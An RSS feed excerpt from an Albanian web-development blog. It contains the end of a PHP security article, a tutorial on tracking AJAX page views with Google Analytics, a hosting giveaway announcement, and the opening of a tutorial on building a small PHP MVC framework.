<p>Këshilla këtu do të ishte të merrni masat në maksimum për të siguruar aplikacionin. Paguani disa njerëz që kanë eksperiencë në siguri të tentojnë ta thyejnë sistemin para se ta publikoni. Ndërkohë, gjeni një ekspert sigurie që ta konfigurojë si ç&#8217;duhet sistemin operativ dhe serverin web. Është tërësisht normale të kërkoni ndihmë, sidomos në aplikacione ku integriteti i të dhënave është i rëndësishëm.</p>
<p>Në fund, mos harroni të bëni backup. Çfarëdo të ndodhë, të paktën do keni një kopje funksionale.</p>
<p>Mësim të mbarë.</p>
]]></content:encoded>
			<wfw:commentRss>http://feniksi.com/web/php/siguria-ne-php/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Përdorni Google Analytics në faqet me AJAX</title>
		<link>http://feniksi.com/web/javascript/perdorni-google-analytics-ne-faqet-me-ajax/</link>
		<comments>http://feniksi.com/web/javascript/perdorni-google-analytics-ne-faqet-me-ajax/#comments</comments>
		<pubDate>Sun, 16 Oct 2011 22:30:39 +0000</pubDate>
		<dc:creator>Fadion Dashi</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[ga]]></category>
		<category><![CDATA[google analytics]]></category>

		<guid isPermaLink="false">http://feniksi.com/?p=2061</guid>
		<description><![CDATA[Në këtë guidë të vogël do ju tregoj si të bëni thirrje manuale për të shtuar vizita në faqe që fuqizohen nga AJAX. Teknika është e thjeshtë, mund të përdoret nga kushdo dhe siguron që çdo vizitë në faqet tuaja të numërohet.]]></description>
			<content:encoded><![CDATA[<p>Në një guidë të mëparshme, të quajtur &#8220;<a href="http://feniksi.com/web/javascript/bejini-faqet-me-ajax-te-mbajne-mend/" title="Bëjini faqet me AJAX të “mbajnë mend”">Bëjini faqet me AJAX të mbajnë mend</a>&#8221; ju tregova një teknikë interesante (shpresoj të paktën) për të bërë faqe që mbështeten tërësisht në funksionalitet AJAX dhe i ngarkojnë materialet në mënyrë asinkrone. Teknika mund të përdoret fare mirë për faqe të mëdha apo të vogla dhe i shton interaktivitetin faqes. Por, ka një problem të vogël!</p>
<p>Google Analytics është besoj zgjidhja tipike për matjen e trafikut në faqe. Falas, e thjeshtë dhe e fuqishme. Megjithatë, në faqet AJAX nuk do funksiononte si ç&#8217;duhet sepse matja e vizitës bëhet vetëm gjatë ngarkimit të parë. Pra, ngarkohet faqja, matet vizita dhe çfarë ndodh më pas nuk është më në interesin e Google Analytics. Për fat të mirë, zgjidhja është aq e lehtë sa kushdo mund ta përdorë.</p>
<p>Në momentin që shtoni faqen tuaj në Google Analytics, ju jepet një kod i ngjashëm me kodin më poshtë. I vetmi ndryshim është se unë e kam formatuar për ta bërë më të bukur.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="Javascript"><div class="devcodeoverflow"><ol><li><span style="color: #003366; font-weight: bold;">var</span> _gaq <span style="color: #339933;">=</span> _gaq <span style="color: #339933;">||</span> <span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>_gaq.<span style="color: #660066;">push</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#91;</span><span style="color: #3366CC;">'_setAccount'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'UA-######-##'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>_gaq.<span style="color: #660066;">push</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#91;</span><span style="color: #3366CC;">'_trackPageview'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #003366; font-weight: bold;">var</span> ga <span style="color: #339933;">=</span> document.<span style="color: #660066;">createElement</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'script'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	ga.<span style="color: #660066;">type</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">'text/javascript'</span><span style="color: #339933;">;</span></li><li>	ga.<span style="color: #660066;">async</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">true</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	ga.<span style="color: #660066;">src</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'https:'</span> <span style="color: #339933;">==</span> document.<span style="color: #660066;">location</span>.<span style="color: #660066;">protocol</span> <span style="color: #339933;">?</span> <span style="color: #3366CC;">'https://ssl'</span> <span style="color: #339933;">:</span> <span style="color: #3366CC;">'http://www'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">'.google-analytics.com/ga.js'</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #003366; font-weight: bold;">var</span> s <span style="color: #339933;">=</span> document.<span style="color: #660066;">getElementsByTagName</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'script'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>	s.<span style="color: #660066;">parentNode</span>.<span style="color: #660066;">insertBefore</span><span style="color: #009900;">&#40;</span>ga<span style="color: #339933;">,</span> s<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Ajo që kodi i dhënë bën kuptohet: mat vizitën. Çështja është se kodi egzekutohet vetëm kur faqja ngarkohet dhe na duhet një mënyrë për ta thërritur manualisht. Fare e lehtë! Vetëm një rresht:</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="Javascript"><div class="devcodeoverflow"><ol><li>_gaq.<span style="color: #660066;">push</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#91;</span><span style="color: #3366CC;">'_trackPageview'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'/faqja'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Duke thërritur funksionin push() të variablës _gaq, shtojmë një vizitë manualisht. Parametri i parë &#8220;_trackPageview&#8221; e instrukton që të mase vizitën, ndërsa parametri i dytë është faqja. Tani kemi dorë të lirë ta përdorim ku të duam.</p>
<h2>Një Shembull Praktik</h2>
<p>Ta shohim përdorimin e thërritjes manuale në një shembull pak më praktik. Do të ndërtoj lidhje HTML dhe do ju tregoj 2 mënyra të thjeshta. Fillimisht, kodi HTML:</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="HTML"><div class="devcodeoverflow"><ol><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">ul</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;menu&quot;</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">li</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;#!/kreu&quot;</span>&gt;</span>Kreu<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">li</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">li</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;#!/rreth&quot;</span>&gt;</span>Rreth<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">li</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">li</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;#!/kontakt&quot;</span>&gt;</span>Kontakt<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">li</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">ul</span>&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Një menu tipike e ndërtuar me një listë të parenditur. Do shikoni që &#8220;href&#8221; e lidhjeve është gati për AJAX. Le ti bëjmë gati edhe për Google Analytics! Vetëm kini parasysh që të dyja mënyrat më poshtë duhet të egzekutohen pas kodit bazë të Google Analytics.</p>
<p><strong>Mënyra e Parë</strong><br />
Më e thjeshta që mund të bëjmë është të shtojmë kodin e vizitës manuale në atributin &#8220;onclick&#8221; të lidhjeve. S&#8217;është shumë e bukur, por e bën punën!</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="HTML"><div class="devcodeoverflow"><ol><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">ul</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;menu&quot;</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">li</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;#!/kreu&quot;</span> <span style="color: #000066;">onclick</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;_gaq.push(['_trackPageview', '/kreu']);&quot;</span>&gt;</span>Kreu<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">li</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">li</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;#!/rreth&quot;</span> <span style="color: #000066;">onclick</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;_gaq.push(['_trackPageview', '/rreth']);&quot;</span>&gt;</span>Rreth<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">li</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">li</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;#!/kontakt&quot;</span> <span style="color: #000066;">onclick</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;_gaq.push(['_trackPageview', '/kontakt']);&quot;</span>&gt;</span>Kontakt<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">li</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">ul</span>&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p><strong>Mënyra e Dytë</strong><br />
Për shumë më tepër fleksibilitet dhe mirëmbajtje të lehtë, mund të shkruajmë unobtrusive Javascript që shtimi manual i vizitës të jetë dinamik. Si gjithmonë, do të përdor jQuery për t&#8217;ja lehtësuar jetën vetes.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="Javascript"><div class="devcodeoverflow"><ol><li>$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#menu'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">find</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'a'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">click</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>	href <span style="color: #339933;">=</span> $<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">attr</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'href'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	href <span style="color: #339933;">=</span> href.<span style="color: #660066;">replace</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#!'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">''</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	_gaq.<span style="color: #660066;">push</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#91;</span><span style="color: #3366CC;">'_trackPageview'</span><span style="color: #339933;">,</span> href<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<h2>Përfundimi</h2>
<p>Vërtetë ishte një guidë e shkurtër dhe specifike, por shpresoj ti hyjë në punë atyre që u pëlqen të ndërtojnë faqe me AJAX. Implementimi është i thjeshtë si të hash një kokërr mollë dhe nuk ka justifikim mos ta përdorni.</p>
<p>Mësim të mbarë.</p>
]]></content:encoded>
			<wfw:commentRss>http://feniksi.com/web/javascript/perdorni-google-analytics-ne-faqet-me-ajax/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Dhuratë: Host + Domain nga TheHosting.ME</title>
		<link>http://feniksi.com/web/dhurata/dhurate-host-domain-nga-thehosting-me/</link>
		<comments>http://feniksi.com/web/dhurata/dhurate-host-domain-nga-thehosting-me/#comments</comments>
		<pubDate>Tue, 11 Oct 2011 16:24:56 +0000</pubDate>
		<dc:creator>Fadion Dashi</dc:creator>
				<category><![CDATA[Dhurata]]></category>
		<category><![CDATA[thehosting.me]]></category>

		<guid isPermaLink="false">http://feniksi.com/?p=2455</guid>
		<description><![CDATA[Me rastin e publikimit të faqes së re të Feniksit, TheHosting.ME u tregua aq bujar sa të ofrojë një Paketë Hostimi dhe një Domain për një nga vizitorët e Feniksit. Mjafton të shkruani një koment në këtë postim dhe 1 fitues do të zgjidhet rastësisht pas 7 ditësh.]]></description>
			<content:encoded><![CDATA[<blockquote><p>Fituesi i kësaj dhurate fantastike është: <strong>Leotrin</strong> me adresë e-maili: <strong>leotrin.elmazi@*****.com</strong>. Do të kontaktojmë për të të dhënë dhuratën. Urime!</p>
<p>Fituesi u zgjodh rastësisht nga një aplikacion i vogël i krijuar posaçërisht për këtë qëllim. Aplikacioni merr automatikisht nga faqja të gjithë emrat e komentuesëve dhe nxjerr një emër të rastësishëm.</p></blockquote>
<p>Faqja e re e Feniksit është pritur me entuziazëm nga vizitorët dhe kjo na ka gëzuar vërtetë. Shpresojmë të vazhdojë kështu dhe ai entuziazëm të mbetet i tillë për ju dhe për ne.</p>
<p>Por, qëllimi i këtij postimi është t&#8217;ju prezantoj një dhuratë që vjen nga zemër-gjerësia e <a href="http://www.thehosting.me/" title="TheHosting.ME">TheHosting.ME</a> për një vizitor të Feniksit. Ofrohen Falas për 1 vit: <strong>1 Paketë Hostimi (Medium Hosting)</strong> dhe <strong>1 Domain çfarëdo, përfshi ato .al</strong>. Një dhuratë kaq fantastike, me vlerë nga 42 Euro deri në 52 Euro, në varësi të domainit, vetëm TheHosting.ME mund ta bëjë.</p>
<p>Çfarë duhet të bëni për të marrë pjesë? Asgjë të komplikuar. Mjafton të komentoni në këtë postim, të plotësoni saktë fushat e emrit dhe e-mailit dhe të shkruani vetëm këtë mesazh:</p>
<blockquote><p>Faleminderit TheHosting.Me</p></blockquote>
<p>Komentet që nuk përmbajnë e-mail dhe nuk kanë të shkruar mesazhin më sipër, NUK do të konsiderohen.</p>
<p>Fituesi do të zgjidhet rastësisht nga lista e pjesëmarrësve në orën 11:00 PM të datës 18 Tetor 2011, dhe përveç se do të njoftohet personalisht për të marrë dhuratat, do të shpallet edhe në këtë temë.</p>
<p>Ju uroj fat!</p>
]]></content:encoded>
			<wfw:commentRss>http://feniksi.com/web/dhurata/dhurate-host-domain-nga-thehosting-me/feed/</wfw:commentRss>
		<slash:comments>45</slash:comments>
		</item>
		<item>
		<title>Framework për PHP në stilin &#8220;Bëje Vetë&#8221;</title>
		<link>http://feniksi.com/web/php/framework-ne-stilin-beje-vete/</link>
		<comments>http://feniksi.com/web/php/framework-ne-stilin-beje-vete/#comments</comments>
		<pubDate>Mon, 26 Sep 2011 05:00:51 +0000</pubDate>
		<dc:creator>Fadion Dashi</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[cakephp]]></category>
		<category><![CDATA[codeigniter]]></category>
		<category><![CDATA[framework]]></category>
		<category><![CDATA[klasa]]></category>
		<category><![CDATA[librari]]></category>
		<category><![CDATA[objekte]]></category>
		<category><![CDATA[oop]]></category>
		<category><![CDATA[symfony]]></category>
		<category><![CDATA[zend framework]]></category>

		<guid isPermaLink="false">http://feniksi.com/?p=1933</guid>
		<description><![CDATA[Libraritë për PHP sa vjen e bëhen më popullore dhe me të drejtë. Është shumë më e lehtë të kodosh aplikacione të çdo lloj madhësie nëse mbështetesh mbi një bazë të mirë dhe të provuar. Por pse mos të provoni të kodoni Librarinë tuaj për projektet tuaja personale? Nëse ju ngacmon ideja, lexoni më tej.]]></description>
			<content:encoded><![CDATA[<p>Pse një Framework? Kjo është pyetja që natyrisht mund t&#8217;ju ketë lindur kur keni parë titullin e guidës. Do i përgjigjem kësaj pyetje, por realisht nuk është ajo pjesa e rëndësishme. Ajo që do tentoj me këtë guidë është t&#8217;ju jap një ide të përgjithshme se si mund të ndërtoni skeletin e nje Framework-u dhe më e rëndësishmja, si të punoni me objekte. Duke qenë se do të përdor një sërë objektesh me përgjegjësi të ndryshme dhe disa veçori të PHP-së në punën me to, jam i sigurt që guida do t&#8217;ju shërbejë në këtë aspekt. Qëllimi dhe tipi i aplikacionit në këtë rast janë elementë dytësore.</p>
<blockquote><p>Përpara se të filloj me guidën, me duhet t&#8217;ju paralajmëroj. Ky Framework nuk është një zgjidhje e gatshme! Vërtetë mund të realizoni ndonjë faqe të shpejtë me të, por e sigurtë është që pothuajse aq shpejt mund ta realizoni pa Framework. Kini parasysh që i gjithë kodi i shkruar, aplikacioni demo dhe vetë guida janë realizuar brenda vetëm pak ditëve. Shumë zgjedhje janë bërë për arsye shpejtësie ose për ta mbajtur guidën në një nivel të aksesueshëm nga të gjithë, edhe ata me pak eksperiencë me objektet apo përgjithësisht në PHP. Gjëja e fundit që dua të bëj është t&#8217;ju jap informacion të gabuar dhe sidomos, praktikta të pa këshilluara programimi. Konsiderojeni këtë guidë si një mësim për punimin me objekte dhe idenë bazë të ndërtimit të një Framework-u, jo si një zgjidhje copy-paste.</p></blockquote>
<p>Që tani e tutje, termit Framework do i referohem me Librari (me L kapitale). Është e vështirë të përdorësh fjalë Anglisht në kontekst Shqip me prapashtesat që gjuha jonë ka.</p>
<h2>Çfarë është një Librari</h2>
<p>Jam i sigurt që ata me fare pak eksperiencë në PHP, të paktën kanë dëgjuar për Librari. Sidoqoftë, le të hedhim pak dritë.</p>
<p>Një Librari është një shtresë abstrakte që vendoset mbi një gjuhë programimi për të thjeshtësuar përgjithësisht kodimin dhe në varësi të rastit, për të përmirësuar në një farë mënyre arkitekturën e gjuhës. Libraritë në PHP nisën të marrin moment me popullarizimin e <a title="Ruby on Rails" href="http://rubyonrails.org/" target="_blank">Ruby On Rails</a>, një Librari web për Ruby që i vendos rëndësi objekteve dhe kodimit të shpejtë. Në një këndvështrim pak të ngushtë, Libraritë për PHP janë të inspiruara nga RoR.</p>
<p>Modeli <a title="Modeli MVC" href="http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller" target="_blank">MVC</a> (Model View Controller) është bërë standarti de-facto për Libraritë dhe kjo jo pa qëllim. E gjithë ideja e kodimit me objekte është ndarja e përgjegjësisë &#8211; sa më pak përgjegjësi një objekt, aq më fleksibël dhe i ripërdorshëm bëhet, por gjithashtu aq më e lehtë është të testohet. Nuk është konteksti të shpjegoj çfarë është MVC në terma të arkitekture (programimi), sepse na intereson çfarë bën në PHP. Në thelb, aplikacionet e koduara sipas MVC ndahen në 3 nivele: Modele &#8211; Thirrjet në databazë, View &#8211; HTML dhe Controller &#8211; Ndërmjetësi që thërret modelet, merr hyrjet nga vizitorët dhe i bën gati të shfaqen në faqe. Me këtë sistem, ndahet marrja e të dhënave, prezantimi dhe logjika e aplikacionit.</p>
<p>Krahas përmirësimit të arkitekturës duke &#8220;imponuar&#8221; (në kuptim të mirë) design patterns të testuara, Libraritë ofrojnë dhjetëra apo qindra funksione të gatshme për të kryer veprime nga ato bazë, deri në tërësisht specifike. Ajo që ofrohet varet shumë nga Libraria, por nëse i hidhni një sy Librarive popullore, do shihni që ndajnë shumë të përbashkëta më njëra tjetrën. Fundja, mjedisi ky është dhe nuk ka shumë për t&#8217;ju devijuar modelit bazë.</p>
<h2>Pse një Librari e bërë vetë?</h2>
<p>Pyetje me vend! Në fakt, duhet të ketë me dhjetëra Librari për PHP dhe disa nga to janë vërtetë të stabilizuara. Nëse përmend <a title="Code Igniter PHP Framework" href="http://codeigniter.com/" target="_blank">CodeIgniter</a>, <a title="Zend Framework" href="http://framework.zend.com/" target="_blank">Zend Framework</a>, <a title="CakePHP" href="http://cakephp.org/" target="_blank">CakePHP</a> apo <a title="Symfony PHP Framework" href="http://www.symfony-project.org/" target="_blank">Symfony</a>, flasim për komunitete të tëra që punojnë për to, i testojnë dhe sigurohen që të funksionojnë si ç&#8217;pritet në mjedise të ndryshme. Pra, pse një Librari e bërë vetë? Ka disa arsye&#8230;</p>
<p>Ashtu si shumë sisteme që tashmë janë publike, edhe Libraritë për PHP me siguri kanë nisur si projekte personale të një personi apo një grupi të vogël. Me përdorimin e tyre në projekte konkrete, kanë shtuar funksionalitete pa fund dhe e kanë modifikuar/përmirësuar vazhdimisht. Në një moment të caktuar kanë vendosur ta lëshojnë publikisht, për ti bërë përmirësimet dhe shtimet akoma më të shpeshta. Rezultati? Një Librari solide, e testuar dhe që përmirësohet shpesh, por me një kod masiv.</p>
<p>Për kuriozitetin tim personal dhe për efekt argumenti për këtë guidë, numërova (sigurisht, jo manualisht!) rreshtat e të gjithë skedarëve në Libraritë më popullore. Rezultatet sigurisht nuk janë 100% të sakta, sepse mund të ketë skedarë pa lidhje me kodin aty brenda, por marxhina e gabimit duhet të jetë e ulët dhe më e rëndësishmja, ju jep një referencë të mirë. Do habiteni! CodeIgniter ka numrin më të vogël të rreshtave me: 49.633. CakePHP vjen i dyti me 5-fish më tepër: 206.508. Symfony e treta me: 287.640. Zend Framework vjen me një numër seriozisht të frikshëm: 708.306. 700 mijë rreshta kod? Në momentin që Libraria i afrohet numrit të rreshtave të interpretuesit (Zend Engine) apo Serverit Web që e egzekuton, ka diçka që nuk shkon! Kjo s&#8217;i bën absolutisht të papërdorshme apo zgjedhje të këqija, thjeshtë limiton qëllimin e përdorimit.</p>
<p>Personalisht, kam eksperiencë me çdo lloj tipi kodimi në PHP. Kam koduar kod spageti, me objekte, me Librari, me ekip, pa ekip dhe ku di unë. Nëse rikujtoj mënyrat si kam punuar, seriozisht i këshilloj Libraritë në projekte të mëdha apo kur punohet në ekip. Të vendosësh standarte kodimi nuk bën fare dëm, përkundrazi siguron që i gjithë ekipi ta shkruajë kodin njësoj. Plus, mund ta zgjeroni Librarinë me module që ju përshtaten dhe do keni një kod vërtetë solid. Edhe zgjedhja e Librarisë është e rëndësishme! ZendFramework është një monolith kodi që ka një kurbë goxha të thepisur mësimi. Vërtetë e bën punën mirë, po nuk është për çdo projekt; vetë qëllimi i Zend është ta fusë PHP-në në industrinë Enterprise përmes ZF. Ndërkohë, CodeIgniter është një Librari shumë më e lehtë, që vihet në punë brenda pak minutave dhe do jeni duke koduar aplikacione me të brenda orës.</p>
<p>Nga ana tjetër, nëse kodoni i vetëm për faqe apo aplikacione relativisht të vogla, një Librari e gatshme mund t&#8217;ju sjellë më tepër dëme se sa përfitime. Llogarisni që kanë një kurbë mësimi të caktuar, përfshijnë funksionalitete nga të cilat 70% mund të mos i përdorni kurrë dhe përgjithësisht kanë ngarkesë ekstra mbi serverin.</p>
<p>Nëse tentoni të bëni një Librari të vogël vetë, mund ta zgjeroni gradualisht me funksionet që ju duhen, e njihni në majë të gishtave sepse e keni shkruar vetë dhe më e rëndësishmja, do keni mësuar aq shumë gjatë proçesit sa e justifikon të tërë punën.</p>
<h2>Si funksionon Libraria në fjalë</h2>
<p>Më sipër ju shpjegova modelin MVC. Për hir të guidës, e thjeshtësova idenë dhe e bëra Librarinë thjeshtë VC &#8211; pra me Controller dhe Views. Duke hequr Modelet, miksoj në Controller logjikën me të dhënat. Nuk është ndonjë humbje e madhe sidoqoftë për një Librari kaq të vogël. Për më tepër, jam i sigurt që do të dini ti shtoni vetë kur të keni mbaruar me guidën.</p>
<p>Libraria fuqizohet nga disa klasa bazë që ofrojnë funksionalitet kryesore. Klasat bazë janë:</p>
<ul>
<li><strong>Loader</strong> &#8211; Ruan dhe servir objektet globalisht</li>
<li><strong>Router</strong> &#8211; Përfshin kontrolluesit dhe metodat e tyre në bazë të URL-së</li>
<li><strong>DB</strong> &#8211; Ndërfaqe e databazës</li>
<li><strong>Template</strong> &#8211; Ngarkon, zëvendëson pseudo-variablat dhe servir html-në</li>
<li><strong>Error</strong> &#8211; Jo tamam një klasë (thjeshtë një funksion) që gjeneron mesazhe gabimi</li>
</ul>
<p>Pra, si ç&#8217;e shihni janë vetëm pak klasa, thjeshtë për të ofruar funksionalitetet bazë. Se ç&#8217;bën secila do ja u tregoj me detaje në vazhdim. Tani për tani ju mjafton të krijoni idenë.</p>
<p>Veprimet në Librari janë të ndara në klasa të ndryshme, por në thelb, gjithçka egzekutohet brenda një skedari me emrin index.php. Aty përfshihen klasat, konfigurimi, përcaktohen kontrolluesit, etj. Aplikacioni vetë ruhet në një direktori të quajtur &#8220;app&#8221; ku mbahen kontrolluesit, pamjet (views) dhe asetet (css, js, imazhe, etj). Si ç&#8217;ju thashë më sipër, një kontrollues merret me logjikën (dhe të dhënat e databazës meqë s&#8217;përdorim Model), ndërsa një view merret me paraqitjen. E gjithë ideja është për kontrolluesit të ketë një mënyrë të thjeshtë dhe automatike egzekutimi, pa bërë punë manuale. Kjo bëhet pikërisht përmes URL-së dhe Router.</p>
<p>URL-ja ka një format të caktuar që duhet të ndjekë për ta bërë sistemin të funksionojë. Ju thashë që Libraria e egzekuton gjithçka në një skedar index.php. Pra, kur hap indeksin e Librarisë, shkruaj <em>faqja.com/index.php</em>. Ajo që shkruaj pas index.php në URL është me rëndësi vitale për Librarinë sepse do të jenë parametrat e ngarkimit të Kontrolluesëve. Nëse hap faqen <em>faqja.com/index.php/perdoruesit/</em>, automatikisht Libraria do të ngarkojë një klasë Kontrolluesi që e ka emrin &#8220;Perdoruesit&#8221; dhe do të egzekutojë metodën home() të tij &#8211; kjo e fundit është një zgjedhje e imja dhe të gjithë kontrolluesit duhet të kenë një metodë home(). Ta zëmë se me <em>/perdoruesit/</em> shfaq listën e përdoruesëve, por me <em>/perdoruesit/shfaq/1/</em> dua të shfaq nga databaza përdoruesin me ID=1. Mjafton që në klasën e Kontrolluesit &#8220;Perdoruesit&#8221; të shtoj një metodë shfaq(), të marr ID-në nga UR, të marr të dhënat nga databaza dhe në fund ti vendos ato të dhëna në shabllone (template). Duket e komplikuar? Ju siguroj që s&#8217;është dhe nëse keni punuar ndonjëherë me Librari, kjo është një strukturë mjaft standarte. Sidoqoftë, do fillojnë të marrin kuptim gjërat gradualisht kur t&#8217;ju tregoj kodet për secilen klasë dhe në fund shembuj nga një faqe e vogël e gjeneruar me këtë Librari. Oh, gjithashtu <em>index.php/</em> mund të fshihet shumë lehtë me mod_rewrite, gjë që unë e kam bërë në kodin e gatshëm për shkarkim. Pra, <em>faqja.com/index.php/perdoruesit/shfaq/1/</em> transformohet në <em>faqja.com/perdoruesit/shfaq/1/</em>. Më bukur dhe më pastër pa atë index.php.</p>
<p>Krahas Router-it që vendos në punë Kontrolluesit, po aq të rëndësishme janë edhe të tjerat. Klasa Loader bën të mundur aksesin global të të gjitha objekteve, pa pasur nevojë të deklarohen çdo herë. Klasa DB ofron një ndërfaqe të thjeshtë ndaj databazës në mënyrë që mos të përdoren funksione direkte të një RDBMS, por metoda personale. Psh, në vend të mysql_query() shkruaj $db-&gt;query(). Klasa Template merr HTML-në e Views dhe e paraqit në faqe. Bën pak më tepër se aq në fakt, sepse kam futur opsione si: pseudo-variabla, includes dhe pseudo-konstante.</p>
